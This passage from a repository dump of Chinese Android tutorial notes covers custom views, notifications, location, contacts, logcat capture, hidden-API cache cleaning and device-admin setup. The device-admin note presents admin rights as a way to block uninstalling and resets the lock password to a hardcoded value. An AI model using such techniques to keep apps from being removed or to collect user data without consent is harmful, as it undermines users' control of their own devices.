a.getString(R.styleable.SettingView_checked_text);\n\t\t\tuncheck_text = a.getString(R.styleable.SettingView_unchecked_text);\n\t\t\ta.recycle();\n\t\t}\n\t\tpublic SettingView(Context context) {\n\t\t\tsuper(context);\n\t\t\tinitView(context);\n\t\t}\n\t}\n\t```\n\n4. 使用自定义控件    \n\t```xml\n\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<LinearLayout xmlns:android=http://schemas.android.com/apk/res/android\n\t\t//声明自己的命名控件引入itheima把最后面的android改为我们应用程序的包名\n\t\txmlns:itheima=\"http://schemas.android.com/apk/res/com.itheima.mobilesafe\"\n\t\tandroid:layout_width=\"match_parent\"\n\t\tandroid:layout_height=\"match_parent\"\n\t\tandroid:orientation=\"vertical\" >\n\t\t<TextView\n\t\t\tandroid:layout_width=\"match_parent\"\n\t\t\tandroid:layout_height=\"60dip\"\n\t\t\tandroid:background=\"#3185A3\"\n\t\t\tandroid:gravity=\"center\"\n\t\t\tandroid:text=\"设置中心\"\n\t\t\tandroid:textColor=\"#B3EBFF\"\n\t\t\tandroid:textSize=\"25sp\" />\n\t\t<com.itheima.mobilesafe.ui.SettingView\n\t\t\tandroid:id=\"@+id/sv_setting_update\"\n\t\t\tandroid:layout_width=\"match_parent\"\n\t\t\tandroid:layout_height=\"wrap_content\"\n\t\t\titheima:checked_text=\"自动更新已经开启\"\n\t\t\titheima:title=\"自动更新设置\"\n\t\t\titheima:unchecked_text=\"自动更新没有开启\" >\n\t\t</com.itheima.mobilesafe.ui.SettingView>\n\t</LinearLayout>\n\t```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/自定义状态栏通知.md",
    "content": "自定义状态栏通知\n===\n\n状态栏通知布局\n`custom_notification.xml`        \n```xml\n<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<RelativeLayout xmlns:android=\"http://schemas.android.com/apk/res/android\"\n    android:layout_width=\"match_parent\"\n    android:layout_height=\"64dp\" //这里不用match_parent，因为在有些机型上显示的背景不全，源码中的高度是64dp,这样背景能全部覆盖通知栏的背景\n    android:background=\"@color/white\" >\n    <ImageView\n        android:id=\"@+id/image\"\n        android:layout_width=\"40dip\"\n        android:layout_height=\"40dip\"\n        android:layout_alignParentLeft=\"true\"\n        android:layout_centerVertical=\"true\"\n        android:layout_marginLeft=\"10dp\"\n        android:layout_marginRight=\"10dp\"\n        android:contentDescription=\"@string/Image\" />\n    <RelativeLayout\n        android:layout_width=\"wrap_content\"\n        android:layout_height=\"wrap_content\"\n        android:layout_centerVertical=\"true\"\n        android:layout_toRightOf=\"@id/image\" >\n        <TextView\n            android:id=\"@+id/title\"\n            style=\"@style/NotificationTitle\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignParentTop=\"true\" />\n        <TextView\n            android:id=\"@+id/text\"\n            style=\"@style/NotificationText\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_below=\"@id/title\"\n            android:ellipsize=\"end\"\n            android:lines=\"2\" />\n        <TextView\n            android:id=\"@+id/time\"\n            style=\"@style/NotificationText\"\n            android:layout_width=\"wrap_content\"\n            android:layout_height=\"wrap_content\"\n            android:layout_alignBottom=\"@id/title\"\n            android:layout_alignParentRight=\"true\"\n            android:layout_marginRight=\"5dip\"\n            android:layout_toLeftOf=\"@id/title\" />\n    </RelativeLayout>\n</RelativeLayout>\n ```\n \n这里面的style都是使用的继承系统的文字样式\n```xml\n<!-- 自定义状态栏通知 -->\n<style name=\"NotificationText\" parent=\"android:TextAppearance.StatusBar.EventContent\">\n    <item name=\"android:textColor\">#bb000000</item>\n    <item name=\"android:textSize\">@dimen/notification_text_size</item>\n</style>\n<style name=\"NotificationTitle\" parent=\"android:TextAppearance.StatusBar.EventContent.Title\">\n    <item name=\"android:textColor\">#bb000000</item>\n</style>\n```\n \n```java\n/**\n * 自定义通知\n */\nprivate void createCustomNotification(Context ctxt, String tickerText,\n        int drawable, String title, String content, int id,\n    PendingIntent pendingIntent) {\n    int icon = R.drawable.ic_launcher;\n    long when = System.currentTimeMillis();\n    Notification notification = new Notification(icon, tickerText, when);//必须要有这三个参数，不然出来的状态栏显示不全\n    RemoteViews contentView = new RemoteViews(mContext.getPackageName(),\n            R.layout.custom_notification);\n    contentView.setImageViewResource(R.id.image, drawable);\n    contentView.setTextViewText(R.id.title, title);\n    contentView.setTextViewText(R.id.text, content);\n    SimpleDateFormat df = new SimpleDateFormat(\"yyyy-MM-dd HH:mm:ss\");// 设置日期格式\n    String time = df.format(new Date());\n    contentView.setTextViewText(R.id.time,\n            time.substring((time.length() - 8), (time.length() - 3)));\n    notification.contentView = contentView;\n    notification.contentIntent = pendingIntent;\n    notification.flags |= Notification.FLAG_AUTO_CANCEL;\n    notification.defaults = Notification.DEFAULT_SOUND;\n    String ns = Context.NOTIFICATION_SERVICE;\n    NotificationManager mNotificationManager = (NotificationManager) ctxt\n            .getSystemService(ns);\n    mNotificationManager.notify(id, notification);\n}\n\n/**\n *状态栏通知\n */\npublic void stateBar(View view) {\n    // 1.获取通知管理器\n    NotificationManager manager = (NotificationManager) getSystemService(NOTIFICATION_SERVICE);\n    // 2.创建通知对象\n    int icon = R.drawable.icon;                // 图标\n    CharSequence tickerText = \"下载完成\";    // 提示文本\n    long when = System.currentTimeMillis();    // 时间\n    Notification notification = new Notification(icon, tickerText, when);\n    // 3.设置通知\n    Context context = getApplicationContext();                // 上下文环境\n    String contentTitle = \"FeiQ下载完成\";                    // 消息标题\n    String contentText = \"FeiQ.exe下载完成, 耗时1分35秒\";    // 消息内容\n    Intent intent = new Intent();                            // 用来开启Activity的意图\n    intent.setClassName(\"com.itheima.downloader\", \"com.itheima.downloader.MainActivity\");    // 意图指定Activity\n    PendingIntent pedningIntent = PendingIntent.getActivity(this, 100, intent, PendingIntent.FLAG_ONE_SHOT);    // 定义待定意图,第三个参数就是指定如果多个状态栏通知时，后面的通知怎么处理前面的通知\n    notification.setLatestEventInfo(context, contentTitle, contentText, pedningIntent);    // 设置通知的具体信息\n    notification.flags = Notification.FLAG_AUTO_CANCEL;        // 设置自动清除,如果设置为FLAG_NO_CLEAR就是点击不会删除，像安全卫士程序的状态栏图标点击就不会删除\n    // 设置通知的声音\n    notification.sound = Uri.parse(\"file:///mnt/sdcard/jiaodizhu.mp3\");     \n   // 4.发送通知\n   manager.notify(id++, notification);\n}\n\n/*这个PendingIntent是指定点击这个状态栏通知的时候的点击事件,注意点击的时候这个状态栏其实是运行在系统的程序中，并不是运行在我们自己的程序中，\n而这个pendingIntent就是指定在点击这个通知的时候怎么让别的程序来执行的意图，就是包装出来一个动作让另外一个程序使用、\n这个自动清除就是点击一次之后这个通知就在状态栏中自动清除了，\n发送通知时的id++就是每次的id值，不同则你发一次通知状态栏上就会显示一个，点多次就发送多个，如果设置为1，则不管点多少次后面的都把前面的给覆盖了*/\n```\n\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/自定义背景.md",
    "content": "自定义背景\n===\n\n1. 自定义一个背景颜色，让颜色从左到右变化的那种\n    在`res-drawable`目录下新建一个`xml`文件。里面`xml`文件内容的根节点是`shape`\n\t```xml\n    <?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t\t<shape xmlns:android=\"http://schemas.android.com/apk/res/android\" \n\t\tandroid:shape=\"rectangle\">  //指定样式这里rectangle就是指定长方形\n\t\t<corners android:radius=\"3dip\"></corners>  //指定边角的弧度\n\t\t//颜色渐变，这里指定了开始、中间、结束三个颜色，样式就会从开始的比较淡变成中间的比较深，\n\t\t<gradient android:startColor=\"#33000000\"\n\t\t\tandroid:centerColor=\"#bb000000\"\n\t\t\tandroid:endColor=\"#33000000\"\n\t\t\t></gradient>\n\n\t\t<padding                              \n\t\t\tandroid:top=\"2dip\"\n\t\t\tandroid:bottom=\"2dip\"\n\t\t\t></padding>\n\t\t\t\n\t\t<stroke android:width=\"4dip\"    //stroke用于指定边线\n\t\t\tandroid:color=\"#ff0000\"\n\t\t\tandroid:dashWidth=\"3dip\"    //dashWidth就是将边线变成了虚线的宽度\n\t\t\tandroid:dashGap=\"2dip\"      //虚线的间距\n\t\t</stroke>\n\t</shape>\n\t```\n  \n2. 自定义一个实心的小圆点\n\t```xml    \n\t<?xml version=\"1.0\" encoding=\"utf-8\"?>\n\t<shape xmlns:android=\"http://schemas.android.com/apk/res/android\"\n\t\tandroid:shape=\"oval\" >//指定是椭圆,我们只要在使用的时候讲宽高设置为相等就是园了\n\t\t<corners android:radius=\"5dip\" />\n\t\t<solid android:color=\"#88000000\" /> //填充颜色\n\t</shape>\n\t```\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/获取位置(LocationManager).md",
    "content": "获取位置(LocationManager)\n===\n\n1. 需要申请权限\n\t```xml\n\t<uses-permission android:name=\"android.permission.ACCESS_FINE_LOCATION\"/>\n\t<uses-permission android:name=\"android.permission.ACCESS_COARSE_LOCATION\"/>\n\t```\n\t\n2. 代码\n\t```java\n\tpublic class TestgpsActivity extends Activity {\n\t\tprivate LocationManager lm;\n\t\tprivate MyListener listener;\n\n\t\t@Override\n\t\tpublic void onCreate(Bundle savedInstanceState) {\n\t\t\tsuper.onCreate(savedInstanceState);\n\t\t\tsetContentView(R.layout.main);\n\t\t\tlm = (LocationManager) getSystemService(LOCATION_SERVICE);\n\n\t\t\tCriteria criteria = new Criteria();\n\t\t\tcriteria.setAccuracy(Criteria.ACCURACY_FINE);\n\t\t\tcriteria.setCostAllowed(true);\n\t\t\tcriteria.setPowerRequirement(Criteria.POWER_HIGH);\n\t\t\tcriteria.setSpeedRequired(true);\n\t\t\tString provider = lm.getBestProvider(criteria, true);\n\t\t\t//第一个参数 位置提供者 第二个参数 最短更新时间 第三参数 最短的更新的距离\n\t\t\tlistener = new MyListener();\n\t\t\tlm.requestLocationUpdates(provider, 0, 0, listener);\n\n\t\t}\n\t\t@Override\n\t\tprotected void onDestroy() {\n\t\t\tlm.removeUpdates(listener);\n\t\t\tsuper.onDestroy();\n\t\t}\n\n\t\tprivate class MyListener implements LocationListener{\n\n\t\t\t/**\n\t\t\t * 当位置改变的时候\n\t\t\t */\n\t\t\t@Override\n\t\t\tpublic void onLocationChanged(Location location) {\n\t\t\t\tfloat accuracy = location.getAccuracy();\n\t\t\t\tdouble wlong = location.getLatitude(); //纬度\n\t\t\t\tdouble jlong = location.getLongitude(); //经度\n\n\t\t\t\tTextView tv = new TextView(getApplicationContext());\n\t\t\t\ttv.setText(\"经度:\"+jlong+\"\\n\"+\"纬度:\"+wlong+\"\\n\"+ accuracy);\n\t\t\t\tsetContentView(tv);\n\n\t\t\t}\n\t\t\t/**\n\t\t\t * 某一个位置提供者的状态发生改变的时候调用的方法\n\t\t\t */\n\t\t\t@Override\n\t\t\tpublic void onStatusChanged(String provider, int status, Bundle extras) {\n\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onProviderEnabled(String provider) {\n\n\t\t\t}\n\n\t\t\t@Override\n\t\t\tpublic void onProviderDisabled(String provider) {\n\n\t\t\t}\n\t\t}\n\t}\n\t```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/获取应用程序缓存及一键清理.md",
    "content": "获取应用程序缓存及一键清理\n===\n\n1. 什么是缓存呢？    \n\t在手机ROM里面的缓存就是每个程序的cache文件夹\n\t\n2. 获取缓存思路(参考手机设置页面)      \n\t通过`PakcageManager.getPakcageSizeInfo()`能得到程序的缓存，但是这个方法被隐藏了，而系统的`Setting`页面之所以能使用是因为它们的权限高，\n\t我们要想使用就必须通过反射来得到，这里`getPackageSizeInfo()`方法的第二个参数是一个远程的`aidl`文件。\n\t- 所以必须要在本地的工程中新建一个包，名字为`android.content.pm`\n\t- 拷贝`IPakcageStatsObserver.aidl`到该包中,导入后发现报错，是因为还要导入另外一个`aidl`文件`PackageStats.aidl`\n\t\n3. 获取缓存大小\n\t```java\n\tprotected Void doInBackground(Void... params) {\n\t\ttry {\n\t\t\tList<PackageInfo> infos = pm.getInstalledPackages(0);\n\t\t\t//pm.getInstalledApplications(flags);\n\t\t\tpb.setMax(infos.size());\n\t\t\tint total = 0;\n\t\t\t\n\t\t\tfor (PackageInfo info : infos) {\n\t\t\t\tString packname = info.packageName;\n\t\t\t\tMethod method = PackageManager.class.getDeclaredMethod(\n\t\t\t\t\t\t\"getPackageSizeInfo\", new Class[] {\n\t\t\t\t\t\t\t\tString.class,\n\t\t\t\t\t\t\t\tIPackageStatsObserver.class });\n\t\t\t\tmethod.invoke(pm, new Object[] { packname,\n\t\t\t\t\t\tnew MyObserver(packname) });\n\t\t\t\tpublishProgress(\"正在扫描:\" + packname);\n\t\t\t\ttotal++;\n\t\t\t\tpb.setProgress(total);\n\t\t\t\tThread.sleep(80);\n\t\t\t}\n\t\t} catch (Exception e) {\n\t\t\te.printStackTrace();\n\t\t}\n\t\treturn null;\n\t}\n \n    private class MyObserver extends IPackageStatsObserver.Stub {\n        private String packname;\n        public MyObserver(String packname) {\n            this.packname = packname;\n        }\n        //回调方法，到得到状态之后就会调用该方法，我们可以通过PackageStats中的属性来得到缓存的大小\n        public void onGetStatsCompleted(PackageStats pStats, boolean succeeded)\n                throws RemoteException {\n            long cache = pStats.cacheSize;\n            long code = pStats.codeSize;\n            long data = pStats.dataSize;\n            if (cache > 0) {\n                cacheInfo.put(packname, cache);\n            }\n        }\n    }\n\t```\n\t\n4. 缓存清理\n\t得到每个程序的缓存大小后，该怎么去清理程序的缓存呢？调用`PackageManager.deleteApplicationCacheFiles`,这个方法是隐藏的，我们通过反射来执行但是发现需要权限，\n\t设置权限后还是提示需要权限，这是因为没有系统权限我们不能清理，设置页面之所以能够使用这个方法，因为是系统的`API`，\n\t所以我们只能是点击条目之后跳转到系统的设置页面，让通过设置页面来删除缓存.\n \n5. 一键清理\n\t一键自动清理使用`freeStorageAndNotify`方法，该方法能够向系统申请释放多大的内存，系统会根据你申请的大小，尽可能的去是释放可以释放的大小。\n\t```java\n    public void cleanAll(View view) {\n        try {\n            Method[] ms = PackageManager.class.getDeclaredMethods();\n            for (Method m : ms) {\n                if (\"freeStorageAndNotify\".equals(m.getName())) {\n                    m.invoke(pm, new Object[] { Long.MAX_VALUE,\n                            new MyDataObersver() });\n                }\n            }\n        } catch (Exception e) {\n            e.printStackTrace();\n        }\t\t\n    }\n\t\n\t//这是一个aidl\n    private class MyDataObersver extends IPackageDataObserver.Stub {\n        public void onRemoveCompleted(String packageName, boolean succeeded)\n                throws RemoteException {\n        }\n    }\n\t```\n\t\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/获取手机中所有安装的程序.md",
    "content": "获取手机中所有安装的程序\n===\n\n- `PackageManger`      \n    包管理者封装了当前应用程序的所有信息，可以通过包管理者拿到当前应用程序的所有信息。\n- `PackageInfo`    \n    该类封装了应用程序清单文件中的所有信息。可以通过这个类拿到当前应用程序的版本\n\n```java\n/**\n * 返回应用程序的信息\n */\npublic static List<AppInfo> getAppinfos(Context context){\n\tPackageManager pm = context.getPackageManager();\n\t//如果后面想通过PackageInfo拿到每个程序的权限信息，那么这里getInstalledPackages的参数就必须是\n\t//PackageManager.GET_PERMISSIONS,不然后面通过PackageInfo就无法得到应用程序清单中申请的权限\n\tList<PackageInfo>  packinfos = pm.getInstalledPackages(PackageManager.GET_PERMISSIONS );\n\tList<AppInfo> appinfos = new ArrayList<AppInfo>();\n\tfor(PackageInfo info : packinfos){\n\t\tAppInfo appInfo = new AppInfo();\n\t\tappInfo.setPackname(info.packageName);\n\t\tappInfo.setVersion(info.versionName);\n\t\tappInfo.setAppName(info.applicationInfo.loadLabel(pm).toString());\n\t\tappInfo.setAppIcon(info.applicationInfo.loadIcon(pm));\n\t\tif((info.applicationInfo.flags & ApplicationInfo.FLAG_EXTERNAL_STORAGE)==0){//通过这个来判断安装到了手机还是SD卡\n\t\t\tappInfo.setInRom(true);\n\t\t}else{\n\t\t\tappInfo.setInRom(false);\n\t\t}\n\t\t//判断程序是不是系统程序\n\t\tif(filterApp(info.applicationInfo)){\n\t\t\tappInfo.setUserApp(true);\n\t\t}else{\n\t\t\tappInfo.setUserApp(false);\n\t\t}\n\t\t//获取到某个应用程序的全部权限信息.\n\t\tString[] permissions = info.requestedPermissions;\n\t\tif(permissions!=null && permissions.length>0){\n\t\t\tfor(String p: permissions){\n\t\t\t\tif(\"android.permission.INTERNET\".equals(p)){\n\t\t\t\t\tappInfo.setUseNetwork(true);\n\t\t\t\t}else if(\"android.permission.ACCESS_FINE_LOCATION\".equals(p)){\n\t\t\t\t\tappInfo.setUseGPS(true);\n\t\t\t\t}else if(\"android.permission.READ_CONTACTS\".equals(p)){\n\t\t\t\t\tappInfo.setUseContact(true);\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\tappinfos.add(appInfo);\n\t\tappInfo = null;\n\t}\n\treturn appinfos;\n}\n```\n```java\n/**\n * 该方法提供了用于判断一个程序是系统程序还是用户程序的功能。\n * @param info\n * @return true 用户自己安装的软件\n *         fasle  系统软件.\n */\npublic  static boolean filterApp(ApplicationInfo info) {\n\tif ((info.flags & ApplicationInfo.FLAG_UPDATED_SYSTEM_APP) != 0) {\n\t\treturn true;\n\t} else if ((info.flags & ApplicationInfo.FLAG_SYSTEM) == 0) {\n\t\treturn true;\n\t}\n\treturn false;\n}\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/获取手机及SD卡可用存储空间.md",
    "content": "获取手机及SD卡可用存储空间\n===\n \n存储设备都是分块的，获取一共有多少块，然后算出来每一块的大小就能得到总的大小   \n```java \nFile file = Environment.getExternalStorageDirectory();//获取SD卡的目录\nStatFs statf = new StatFs(file.getAbsolutePath());\nlong count = statf.getAvailableBlocks();\nlong size = statf.getBlockSize();\nSystem.out.println(\"sd卡可用空间:\"+ Formatter.formatFileSize(this, count*size));\n\nFile path = Environment.getDataDirectory();//获取手机存储设备的目录\nStatFs stat = new StatFs(path.getPath());\nlong blockSize = stat.getBlockSize();\nlong availableBlocks = stat.getAvailableBlocks();\nSystem.out.println(\"手机内部空间:\"+ Formatter.formatFileSize(this, availableBlocks*blockSize));\n```\nFormatter类的formatFileSize内部能自动将一个比特大小的值转换成M,G,K等\n```\nstatic String formatFileSize(Context context, long number)\nFormats a content size to be in the form of bytes, kilobytes, megabytes, etc\n```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/获取联系人.md",
    "content": "获取联系人\n===\n\n`Android`系统中的联系人也是通过`ContentProvider`来对外提供数据的\n数据库路径为：`/data/data/com.android.providers.contacts/database/contacts2.db`\n我们需要关注的有3张表\n- raw_contacts：其中保存了联系人id \n- data：和raw_contacts是多对一的关系，保存了联系人的各项数据\n- mimetypes：为数据类型\n\n先查询`raw_contacts`得到每个联系人的`id`，在使用`id`从`data`表中查询对应数据，根据`mimetype`分类数据这地方在数据库中的是一个`mimetype_id`\n是一个外键引用到了`mimetype`这个表中，它内部做了一个关联查询，这地方不能写`mimetype_id`，只能写`mimetype`不然会报错\n\n```java\n/**\n * 获取联系人\n * @return\n */\npublic static List<ContactInfo> getContactInfos(Context context) {\n\tContentResolver resolver = context.getContentResolver();\n\tUri uri = Uri.parse(\"content://com.android.contacts/raw_contacts\");\n\tUri dataUri = Uri.parse(\"content://com.android.contacts/data\");\n\tList<ContactInfo> contactInfos = new ArrayList<ContactInfo>();\n\tCursor cursor = resolver.query(uri, new String[] { \"contact_id\" },\n\t\t\tnull, null, null);\n\twhile (cursor.moveToNext()) {\n\t\tString id = cursor.getString(0);\n\t\tif (id != null) {\n\t\t\tContactInfo info = new ContactInfo();\n\t\t\tCursor dataCursor = resolver.query(dataUri, new String[] {\n\t\t\t\t\t\"mimetype\", \"data1\" }, \"raw_contact_id=?\",\n\t\t\t\t\tnew String[] { id }, null);\n\t\t\twhile (dataCursor.moveToNext()) {\n\t\t\t\tif(\"vnd.android.cursor.item/name\".equals( dataCursor.getString(0))){\n\t\t\t\t\tinfo.setName(dataCursor.getString(1));\n\t\t\t\t}else if(\"vnd.android.cursor.item/phone_v2\".equals( dataCursor.getString(0))){\n\t\t\t\t\tinfo.setPhone(dataCursor.getString(1));\n\t\t\t\t}\n\t\t\t}\n\t\t\tcontactInfos.add(info);\n\t\t\tdataCursor.close();\n\t\t}\n\t}\n\tcursor.close();\n\treturn contactInfos;\n}\n```\n要使用到这三个表，但是谷歌内部在查询这个`data`表的时候内部使用的并不是查询`data`表而是查询了`data`表的视图，\n这个视图中直接将`mime_Type`类型给关联好了，所以这里直接查询的就是`mimetype`这个类型就可以了，\n还有就是如果自己的手机中如果删除了一个联系人在查询的时候就会报错，这里因为是在手机中删除一个联系人的时候并*不是清空数据库中的数据*，\n而是将这个**raw_contacks中的id置为null**，所以会报错，这里就要进行判断一下查出来的id是否为null。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/读取用户logcat日志.md",
    "content": "读取用户logcat日志\n===\n\n1. 读取用户日志需要权限`android.permission.READ_LOGS`\n\n2. 在一个服务中开启logcat程序，然后读取\n\t```java\n\tpublic void onCreate() {\n\t        super.onCreate();\n\t        new Thread(){\n\t            public void run() {\n\t                try {\n\t                    File file = new File(Environment.getExternalStorageDirectory(),\"log.txt\");\n\t                    FileOutputStream fos = new FileOutputStream(file);\n\t                    Process process = Runtime.getRuntime().exec(\"logcat\");\n\t                    InputStream is = process.getInputStream();\n\t                    BufferedReader br = new BufferedReader(new InputStreamReader(is));\n\t                    String line;\n\t                    while((line = br.readLine())!=null){\n\t                        if(line.contains(\"I/ActivityManager\")){\n\t                            fos.write(line.getBytes());\n\t                            fos.flush();\n\t                        }\n\t                    }\n\t                    fos.close();\n\t                } catch (Exception e) {\n\t                    e.printStackTrace();\n\t                }\n\t            };\n\t        }.start();\n    \t}\n\t```\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/资源文件拷贝的三种方式.md",
    "content": "资源文件拷贝的三种方式\n===\n\n- 类加载器(类路径)  \n    - 用`Classloader.getResourceAsStream()`来读取类路径中的资源，然后用`FileOutputStream`写入到自己的应用中(*sdk开发的时候经常用这种方式*)。\n    - 这种方式**必须**要将数据库`address.db`放到**src**目录下，这样编译后就会直接将`address.db`生成到`bin/classes`目录中，会在类路径下，\n\t    所以可以使用`Classloader`进行加载.  \n\t\t\n\t\t```java\n\t\tInputStream is = getClassLoader().getResourceAsStream(\"address.db\");\n\t\tFile file = new File(/data/data/包名/files/address.db);\n\t\tFileOutputStream fos = new FileOutputStream(file);\n\t\t```\n\n- Raw目录   \n    将资源文件放到`res-raw`下, 然后用`getResources.openRawResource(R.raw.addresss);`(要求资源最好不超过1M,因为系统会编译`res`目录)\n\n- Assets目录   \n    将资源文件放到`Assets`目录中。然后用`mContext.getAssets().open(\"address.db\");`来读取该资源(`Assets`目录中的文件不会被编译，会原封不动的打包到apk中，\n\t所以一般用来存放比较大的资源文件)\n\t注意：上面这是在`Eclipse`中的使用方式，因为在`Eclipse`中`assets`目录是在`res`下，但是在`Android Studio`中如果这样使用会报`FileNotFoundException`，为什么呢？\n\t文件名字没错，而且明明是在`assets`目录中的，这是因为在`Studio`中`assets`文件夹的目录层级发生了变化，直接在`module`下，与`src`目录平级了？该如何修改呢？\n\t答案就是把`assets`目录移`src/main`下面就可以了？为什么呢？因为我们打开`app.impl`可以看到`<option name=\"ASSETS_FOLDER_RELATIVE_PATH\" value=\"/src/main/assets\" />`。\n\t所以把`assets`移到`src/main/`下就可以了。\n\n那`Raw`和`Assets`两者有什么区别呢？      \n\n- 两者目录下的文件在打包后会原封不动的保存在`apk`包中，不会被编译成二进制。\n- 在读取这两个资源文件夹中的文件时会有一定的限制，即单个文件大小不能超过`1M` ，如果读取超过1M的文件会报`Data exceeds UNCOMPRESS_DATA_MAX (1314625 vs 1048576)` 的`IOException`。\n- `raw`中的文件会被映射到`R`文件中，访问的时候直接使用资源`ID`；`assets`文件夹下的文件不会被映射到`R`文件中。\n- `raw`不可以有目录结构，而`assets`则可以有目录结构，也就是`assets`目录下可以再建立文件夹。\n\n\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/超级管理员(DevicePoliceManager).md",
    "content": "超级管理员(DevicePoliceManager)\n===\n\nDevicePolicyManager    \n---\n\nPublic interface for managing policies enforced on a device. Most clients of this class must have published a DeviceAdminReceiver that the user \nhas currently enabled.       \n\n```java\nDevicePolicyManager dpm = (DevicePolicyManager) mContext.getSystemService(Context.DEVICE_POLICY_SERVICE);\nif (dpm.isAdminActive(new ComponentName(context, MyAdmin.class))) {\n\tdpm.resetPassword(\"321\", 0);\n\tdpm.lockNow();\n} \n```\n\nDevicePolicyManager中的方法     \n\n- void lockNow() \n\tMake the device lock immediately, as if the lock screen timeout has expired at the point of this call.\n\t\n- boolean resetPassword(String password, int flags) \n\tForce a new device unlock password (the password needed to access the entire device, not for individual accounts) on the user.\n\t\n- void wipeData(int flags) \n\tAsk the user date be wiped.\n\n- boolean isAdminActive(ComponentName who) \n\tReturn true if the given administrator component is currently active (enabled) in the system\n\n使用超级管理员DevicePolicyManager的步骤       \n1. 要写一个类继承DeviceAdminReceiver\n\t```java\n\tpublic class MyAdmin extends DeviceAdminReceiver {\n\t\t//继承就可以不用重写任何内容\n\t}\n\t```\n    \n2. 在清单文件中配置自定义的类\n```xml\n<receiver\n\tandroid:name=\".receiver.MyAdmin\"\n\tandroid:description=\"@string/admin_des\"\n\tandroid:label=\"防卸载\"\n\tandroid:permission=\"android.permission.BIND_DEVICE_ADMIN\" >\n\t<meta-data\n\t\tandroid:name=\"android.app.device_admin\"\n\t\tandroid:resource=\"@xml/device_admin_sample\" />\n\n\t<intent-filter>\n\t\t<action android:name=\"android.app.action.DEVICE_ADMIN_ENABLED\" />\n\t</intent-filter>\n</receiver>\n```\n\t\n3.  完成第二步中所需的meta-data。在res下新建一个xml文件，device_admin_sample.xml\n\t```xml\n\t<device-admin xmlns:android=\"http://schemas.android.com/apk/res/android\">\n\t\t<uses-policies>\n\t\t\t<limit-password />\n\t\t\t<watch-login />\n\t\t\t<reset-password />\n\t\t\t<force-lock />\n\t\t\t<wipe-data />\n\t\t\t<expire-password />\n\t\t\t<encrypted-storage />\n\t\t\t<disable-camera />\n\t\t</uses-policies>\n\t</device-admin>\n\t```\n经过上面的三步使用后仍报错，这是因为对于超级管理员，用户必须在手机的应用程序-设备管理员中激活我们的程序才能使用，但是对于一般的人不知道要这样激活。\n所以我们要在自己的程序中提供一个按钮让用户点击就能进入这个激活超级管理员的`Activity`\n这里可以通过下面的方式来启动这个激活超级管理员的`Activity`\n```xml\n// 激活设备超级管理员\npublic void zouni(View view) {\n\tIntent intent = new Intent(DevicePolicyManager.ACTION_ADD_DEVICE_ADMIN);\n\t// 初始化要激活的组件\n\tComponentName mDeviceAdminSample = new ComponentName(mContext, MyAdmin.class);\n\tintent.putExtra(DevicePolicyManager.EXTRA_DEVICE_ADMIN, mDeviceAdminSample);\n\tintent.putExtra(DevicePolicyManager.EXTRA_ADD_EXPLANATION, \"激活可以防止随意卸载应用\");\n\tstartActivity(intent);\n} \n```\n一旦程序有了管理员权限程序就不能卸载了，要想卸载必须在手机上取消该程序的超级管理员，以后如果要防止程序的卸载可以通过这种超级管理员的方式。\n\n---\n\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n"
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/锁屏以及解锁监听.md",
    "content": "锁屏以及解锁监听\n===\n\n屏幕锁屏以及解锁时会分别发送`SCREEN_ON`和`SCREEN_OFF`广播，但是这两个广播**只能通过代码的形式注册**才能被监听到，在`AndroidManifest.xml`中注册根本监听不到。\n```java\npublic class ScreenActionReceiver extends BroadcastReceiver {\n    private boolean isRegisterReceiver = false;\n \n    @Override\n    public void onReceive(Context context, Intent intent) {\n        String action = intent.getAction();\n        if (action.equals(Intent.ACTION_SCREEN_ON)) {\n            Logcat.d(TAG, \"屏幕解锁广播...\");\n        } else if (action.equals(Intent.ACTION_SCREEN_OFF)) {\n            Logcat.d(TAG, \"屏幕加锁广播...\");\n        }\n    }\n \n    public void registerScreenActionReceiver(Context mContext) {\n        if (!isRegisterReceiver) {\n            isRegisterReceiver = true;\n \n            IntentFilter filter = new IntentFilter();\n            filter.addAction(Intent.ACTION_SCREEN_OFF);\n            filter.addAction(Intent.ACTION_SCREEN_ON);\n            Logcat.d(TAG, \"注册屏幕解锁、加锁广播接收者...\");\n            mContext.registerReceiver(ScreenActionReceiver.this, filter);\n        }\n    }\n \n    public void unRegisterScreenActionReceiver(Context mContext) {\n        if (isRegisterReceiver) {\n            isRegisterReceiver = false;\n            Logcat.d(TAG, \"注销屏幕解锁、加锁广播接收者...\");\n            mContext.unregisterReceiver(ScreenActionReceiver.this);\n        }\n    }\n}\n```\n\n---\n- 邮箱 ：charon.chui@gmail.com  \n- Good Luck! \n "
  },
  {
    "path": "docs/android/AndroidNote/BasicKnowledge/零权限上传数据.md",
